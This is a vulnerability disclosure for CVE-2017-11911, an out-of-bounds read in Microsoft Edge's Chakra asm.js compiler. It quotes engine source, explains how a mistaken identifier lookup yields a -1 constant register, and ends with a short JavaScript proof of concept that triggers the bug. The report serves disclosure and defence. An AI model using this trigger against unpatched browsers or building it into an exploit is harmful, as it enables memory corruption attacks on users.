Microsoft Edge: Chakra: OOB read in asm.js 

CVE-2017-11911


Here's a snippet of AsmJSByteCodeGenerator::EmitAsmJsFunctionBody.
        AsmJsVar * initSource = nullptr;
        if (decl->sxVar.pnodeInit->nop == knopName)
        {
            AsmJsSymbol * initSym = mCompiler->LookupIdentifier(decl->sxVar.pnodeInit->name(), mFunction);
            if (initSym->GetSymbolType() == AsmJsSymbol::Variable)
            {
                // in this case we are initializing with value of a constant var
                initSource = initSym->Cast<AsmJsVar>();
            }
            ...
        }
        ...
        if (initSource)
        {
            if (var->GetType().isDouble())
            {
                mWriter.AsmReg2(Js::OpCodeAsmJs::Ld_Db, var->GetLocation(), mFunction->GetConstRegister<double>(initSource->GetDoubleInitialiser()));
            }

Chakra thinks the PoC is valid asm.js code. What happens when the variable "b" gets initialized is:
1. mCompiler->LookupIdentifier is called with "a" as the first argument. And it returns the local variable "a", which is of type int, but not the double constant "a".
2. mFunction->GetConstRegister fails to find the int value in the double constant table. So it returns -1 which leads OOB read.

PoC:
function createModule() {
    'use asm';
    const a = 1.0;
    function f() {
        var b = a;
        var a = 0;
    }

    return f;
}
var f = createModule();
f();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt